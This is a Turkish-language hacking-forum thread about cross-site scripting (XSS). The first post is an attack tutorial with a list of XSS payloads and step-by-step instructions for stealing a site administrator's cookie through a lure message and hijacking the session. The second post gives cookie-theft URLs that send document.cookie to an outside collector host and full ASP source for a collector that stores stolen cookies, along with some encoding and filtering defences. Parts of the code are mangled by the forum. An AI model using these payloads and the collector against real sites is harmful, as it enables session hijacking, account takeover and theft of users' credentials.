#1
|
|||
|
|||
XSS Nedir ?
XSS nedir ?
xss sistemlerdeki script açıklarıdır... ARama Modullerinde , Profil Panellerinde haber modullerinde shutbox vs.. bulunur.. bu modullere ufak scriptler ekleyerek sitenin yönlenmesini ya da hata vermesini sağlarız.. örn : [Link'i Görebilmeniz İçin Kayıt Olunuz.! Kayıt OL] hübele gibi devam edelim... Xss Hangi Sistemler Kullanılır.. Xss Genellikle Php-Nuke ya da Php ile yapılmış sistemlere kullanılır ama Asp’de kullanılmaz anlamına gelmez.. Biraz daha örnekleyerek Anlatalım.. ">nedirbu<"font%20size=20>Hacked by oturgaçlı götüreç%20:P</font> basit bir arama scriptinde kullanılıcak açık.. Yukardaki Xss yi biraz daha açalım . ( $_POST / $_SESSION , $_GET ) Php de arama yaparken verdiğimiz komut budur.. Session’da $username adlı bir değişken var diyelim.Sayfada echo’landığı $_SESSION[’variable’] şeklinde ekrana basılmadığı zaman url üzerinde sayfa.php?username=XSS girdiğimizde oturumdaki kullanıcıyı değil adres satırından gelen variable’ı ekrana basacaktır. ama xss den verimli sonuç alabilmek için scrtiptin içinde java script çalıştırmak gerekir... Java Scripti Neden Çalıştırırız : Cookie Çalmak İçin.. Örnekleyelim.. **********document.**********’/xss/?’+escape(document.cookie)</script> Adım Adım XSS için bir method anlatayım.. İlk Önce Sitemize Cookie Çalıcağımız Script Yazılır... daha Sonra Belirlediğimiz sitenin adminine bir dikkat çekici bir pm atılarak Admin Bizim Belirlediğimiz Siteye Yönlendirilir.. admin’inin Bilgisayarındaki Cookie’inn ayınsından bizim belirtiğimiz adrestedi script tarafından log tutulur.. daha sonra bu cookie burdan alınır bizim bilgisayarımızdaki cookie ile değiştirilir.. taskmanager.exe yi (xp için) kapatılır ve sitenin adresini tekrar yazıp girdiğimizi zaman sitede ki Kullanıcı Adımız : Admin olduğunu tüm yetkilere sahip olduğumuzu görürüz.. Xss Komutları : <IMG src= ****ascript:alert(’Hacked by ...’);"> <IMG SRC=javascript:alert(’XSS’)> **********a=/XSS/ alert(a.source)</SCRIPT> <IMG DYNsrc= "javascript alert Hacked by.."> <BR SIZE="&{alert(’Hacked by...)}"> <IMG src= "vbscript msgboxHacked by.."> <DIV STYLE="background-image: url(javascript:alert(’Hacked by...))"> Sisteme JavaScript Ekleyerek İstediğimiz sayfaya yönlendirmek te Diğer Bir Yöntemdir.. <script language="javascript"> self.**********"gidilecek_sayfa.htm" </script> <script language="VBscript"> response.redirect"" </script> ********** window.location = ""; </script> <script LANGUAGE="JavaScript"> <!-- Begin function redirectPage() { var url640x480 = ""; var url800x600 = ""; var url1024x768 =""; if ((screen.width == 640) && (screen.height == 480)) window.location.href= url640x480; else if ((screen.width == 800) && (screen.height == 600)) window.location.href= url800x600; else if ((screen.width == 1024) && (screen.height == 76) window.location.href= url1024x768; else window.location.href= url640x480; } // End --> </script> ****** http-equiv=********* *********"1;URL=http://www.xxx.com/"> ********** function sayfayi_yenile() {self.location.refresh()} self.setTimeOut(’sayfayi_yenile()’,5000) </script> ********** window.setTimeout("location.reload()",10000); </script> ********** location.reload(); </script> |
#2
|
|||
|
|||
Cvp: XSS Nedir ?
XSS Açıkları ve Korunma Yöntemleri
XSS Açıkları Request ile kullanıcıdan alınan verilerin sayfa içinde Yazdırılması ile oluşur. Örneğin QueryString ile alınan sayfa numaraları yada ilgili kaydı gösteren id değişkenleri. [Link'i Görebilmeniz İçin Kayıt Olunuz.! Kayıt OL] yada [Link'i Görebilmeniz İçin Kayıt Olunuz.! Kayıt OL] [Link'i Görebilmeniz İçin Kayıt Olunuz.! Kayıt OL] gibi. Örnek XSS Açığı ile Ne yapılabilir : Yukardaki örnekler gibi açığımızı buluyoruz yada hedef sitede Webservis sayaç kodunun olması yeterli. Açığımızı bulduktan sonra kullanıcının Cookie'sini JavaScript (document.cookie) ile okuyup istediğimiz bir adresteki veri tabanına kayıt ediyoruz yada kendimize mail atıyoruz. ------------------------- http://www.hedefsite.com/Default.Asp?Page=2">**********location.href='http://www.cyber-warrior.org/yakala.asp?X='+escape(document.cookie)</SCRIPT> ------------------------- Saldırgan Url’nin sonuna "> Eklentisi ile Inputların sonlandırılmasını ve bundan sonra eklenen zararlı kodları Explorer’ın icra etmesini sağlar. Bu Link’e tıklayan kullanıcının Cookie’si Belirtilen Kaynağa Post edilir. Yada : Hedef sitede yazdığınız mesajı gösterebilecek uygulamalar var ise ziyaretçi defteri, forum vb. uygulama ---------------------------- **********document.**********'http://www.cyber-warrior.org/yakala.asp?X=' +document.cookie</script> ---------------------------- Bu kod ilgili sayfada görüntülendiği anda sayfayı görüntüleyen kullanıcıların cookielerini alarak yakala.asp dosyasına veri tabanına kaydetmesi için gönderir. Web Sayfanızda XSS açıkları kapatılmış Olsada, Webservis Sayac kodu var ise bu sayesinde XSS Açığı Oluşuyor. WebServis Tarafından verilen ve Sitenize eklediğiniz; ------------------------------------ <script language="javascript"> var wuser="CWDoktoray", wbanner=11;</script> <script language="javascript" src= "a target=_blank href=http://www.webservis.gen">http://www.webservis.gen.tr/sayac.js"></script> ------------------------------------- XSS Açıklarını Engellemek için: Request ile alınan değerleri her zaman QueryString’de olsa Replace ile Aşağıdaki şekilde temizleyin Ve Request verilerini alırken mutlaka tam sayıya çevirin Recid = CInt(Trim(Server.HTMLEncode("Recid"))) Recid = Replace(Recid, "<" , "<") ’küçüktür Recid = Replace(Recid, ">" , ">") ’büyüktür Recid = Replace(Recide, "’" , "’") ’tek tırnak Recid = Replace(Recid, Chr(10) , "") ’Satır Başı Recid = Replace(Recid, Chr(34) , "") ’çift tırnak --------------------------------------------------- ASP.NET ’de web.config Dosyasında aşağıdaki değişikleri yaptığınızda " ’ " gibi karakterleri sistem kendisi kontrol eder. Bu Sayede hemen hemen hiçbir XSS ve SQL Enjeksiyon teknikleri Etkili olmaz <System.Web> <Pages validateRequest="True"></Pages> </System.Web> IPS Kullanıyor iseniz Yeni imza yaratıp Application Layer / HTTP / HTTP.URL_DECODED Protokolüne; ’ Tek Tırnak, " Çift Tırnak < Küçük > Büyük Karakterlerini ekleyerek XSS ve SQL Enjeksiyon Saldırılarını Direkt Engelleyebilirsiniz... ---------------------------------------------------------------------------------- Yakala.ASP’den Gelen Verileri yakalamak ve Veritabanına kaydetmek için Örnek Basit bir ASP Dosyası X = Request.QueryString("X") Yerine Veri URL’den geleceği için X = Request.ServerVariables("HTTP_REFERER") de Kullanabilirsiniz. "Yakala.mdb" adında bir database oluşturun "tblYakala" adında bir tablo ve "Sayfa" Adında (alan tipi Not) Oalcak şekilde Tasarlayın --------------------Yakala.Asp----------------------------------- <% Dim X X = Request.QueryString("X") %> <% Dim ConnString,bag ConnString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & server.mappath("Yakala.mdb") & ";" set bag = Server.CreateObject("ADODB.Connection") bag.Open ConnString %> <% Dim SQL,Rs Set Rs=Server.CreateObject("ADODB.Recordset") SQL="Select * From tblYakala" Rs.Open SQL,ConnString,1,3 End iF %> <% Rs.AddNew Rs("Sayfa")=X Rs.Update Rs.Close %> |
Benzer Konular |
||||
Konu | Konuyu Başlatan | Forum | Cevaplar | Son Mesaj |
Çankaya'da "alevİ Aday" Baskisi | HaZzAn | Genel ve Güncel Konular, Son Haberler | 0 | 13 December 2008 14:15 |
En iyi bedava 3D tasarım programı. Tek tıkla hemen indir. Müthiş | ceyLin | Proğram Arşivi | 0 | 12 December 2008 22:24 |
Ne Kadar Zamanda Hamile Kalabilirim? | eLanuR | Anne ve Çocuk | 0 | 6 December 2008 10:53 |
Vulva kanseri (Kadın dış genital organı kanseri) | ceyLin | Kadın Hastalıkları | 0 | 23 November 2008 15:27 |